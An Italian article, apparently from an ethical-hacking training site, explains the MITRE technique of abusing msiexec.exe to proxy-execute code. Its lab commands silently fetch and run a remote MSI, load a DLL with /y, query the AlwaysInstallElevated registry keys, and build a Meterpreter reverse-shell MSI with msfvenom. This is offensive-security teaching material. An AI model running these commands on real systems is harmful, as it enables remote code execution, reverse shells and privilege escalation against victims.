Esecuzione Proxy via Msiexec: System Binary Proxy Execution: Msiexec (T1218.007)

Msiexec.exe è l'utilità nativa di Windows per la gestione dei pacchetti Windows Installer (.msi). Firmato digitalmente da Microsoft e presente su ogni installazione Windows, è un bersaglio ideale per chi cerca di eseguire codice malevolo nascondendosi dietro un processo legittimo. La tecnica rientra nella tattica Defense Evasion (TA0005), quella fase della kill chain in cui l'attaccante punta a eludere i controlli difensivi già attivi sull'endpoint.

L'abuso di msiexec.exe si articola in tre vettori principali: l'esecuzione di pacchetti MSI locali, il download e l'esecuzione di pacchetti MSI da URL o percorsi UNC remoti, e il caricamento diretto di DLL tramite il flag dedicato. Se la policy AlwaysInstallElevated è attiva, l'esecuzione avviene con privilegi SYSTEM, trasformando un proxy di esecuzione in un vettore di privilege escalation.

I numeri confermano la rilevanza operativa: 6 gruppi APT documentati, 21 famiglie malware che sfruttano questo binario, 2 campagne strutturate e 2 mitigazioni raccomandate. Dai banking trojan latinoamericani come Grandoreiro e Mispadu fino al ransomware Maze e all'attacco alla supply chain di 3CX, msiexec.exe è un ponte tra la legittimità apparente e l'esecuzione arbitraria di codice.

Il test di questa tecnica in laboratorio è immediato perché msiexec.exe è già presente su qualsiasi sistema Windows — non serve nulla di aggiuntivo. La superficie d'attacco si divide in tre scenari operativi distinti.

Esecuzione di un pacchetto MSI remoto. Questo è il pattern più comune tra i gruppi documentati. Il comando scarica ed esegue un installer da un server controllato dall'attaccante, il tutto in un'unica azione:

msiexec /i <URL-del-pacchetto-MSI> /quiet /qn

I flag /quiet e /qn sopprimono qualsiasi interfaccia utente, rendendo l'esecuzione invisibile all'utente. Rancor e ZIRCONIUM hanno impiegato esattamente questa modalità per scaricare payload via HTTP. Per il lab, è sufficiente ospitare un file MSI su un web server locale con Python — python3 -m http.server 8080 — e puntare msiexec al proprio indirizzo.

Esecuzione di DLL tramite msiexec. Meno intuitivo ma altrettanto efficace, il flag /y consente di richiamare la funzione DllRegisterServer di una DLL arbitraria:

msiexec /y C:\Temp\payload.dll

Questo vettore è stato sfruttato da DEADEYE per caricare DLL malevole. Per il red team, si può generare una DLL con msfvenom (Metasploit Framework, open source) usando il formato dll e testarla localmente.

Verifica della policy AlwaysInstallElevated. Prima di testare l'escalation, bisogna controllare se la policy è abilitata nelle due chiavi di registro rilevanti:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Se entrambe restituiscono valore 1, qualsiasi utente può eseguire un MSI con privilegi SYSTEM. In ambienti di penetration test, winPEAS (open source) automatizza questo controllo nella sezione dedicata alle misconfigurazioni di Windows Installer.

Per creare un pacchetto MSI personalizzato con payload embedded, lo strumento WiX Toolset (open source) consente di generare installer legittimi con custom action che eseguono comandi arbitrari. In alternativa, msfvenom genera direttamente un MSI con msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORTA> -f msi -o payload.msi.

Un aspetto da validare è il comportamento delle soluzioni di application control: eseguendo un MSI non firmato tramite msiexec.exe firmato da Microsoft, molte policy WDAC configurate in modo permissivo lasciano passare l'esecuzione — ed è esattamente il punto debole che questa tecnica sfrutta.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo